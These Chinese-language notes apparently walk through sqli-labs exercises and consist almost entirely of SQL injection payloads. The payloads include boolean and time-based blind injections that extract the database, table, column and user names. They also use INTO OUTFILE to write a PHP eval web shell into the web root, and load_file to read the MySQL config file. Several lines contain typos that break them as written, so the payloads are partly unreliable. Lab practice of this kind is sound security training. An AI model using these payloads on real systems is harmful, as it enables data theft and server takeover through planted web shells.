1" and left(database(),1) = 's'--+
直接将slect内容导入到文件中:
SELECT version() into outfile "c:\\phpstudy\\www\\sqli"#把version替换成为一句话SELECT 一句话木马内容 into outfile "c:\\phpstudy\\www\\sqli"
修改文件结尾
SELECT version() into outfile "c:\\phhstudy\\a.php" LINES TERMINATED BY 0x16进制文件
select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php'
分析源码,并盲注尝试
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
通过第一关获取绝对路径
1' and 1=3 union select 1,@@datadir,3--+
通过select … into outfile语句写入一句话
1')) union select 1,2,3 INTO outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\bbb.txt"--+
1')) union select 1,2,'<?php @eval($_post["pass"]);?>' INTO outfile "C:\\phpstudy\\WWW\\sqli-labs-master\\Less-7\\1.php"--+
1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ 1'and If(substr(database(),1,1)='s',1,sleep(5))--+
1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur rent) as tb1--+
1' and If(length(database())=8,1,sleep(5))--+
1'and If(substr(database(),1,1)='s',1,sleep(5))--+ 1'and If(substr(database(),2,1)='e',1,sleep(5))--+
1'and If((select count(table_name) from information_schema.tables where table_schema =database())=4, 1, sleep(3))--+
1'and If(ascii(substr((select table_name from information_s chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+ #使用ascii码猜测 1'and If(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) = 'a',1,sleep(5))--+#其中limit0,1是获取第一个表,1,1就是第二个表,2,1是第三个表,3,1是第四个表#1,1是第一个表中的第一个字符,2,1就是第二个字符,依次类推。
1'and If((select count(column_name) from information_schema.columns where table_name='users')=3,1,sleep(5))--+
1'and If(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='a',1,sleep(5))--+#同上边爆破表名一样修改0,1和1,1猜测出所有的列名为id,username,password
1'and If(substr((select username from users limit 0,1), 1,1)='a',1,sleep(5))--+
1"and If(substr(database(),1,1)='s',1,sleep(5))--+#把第九关的payload单引号改成双引号,就可完成此关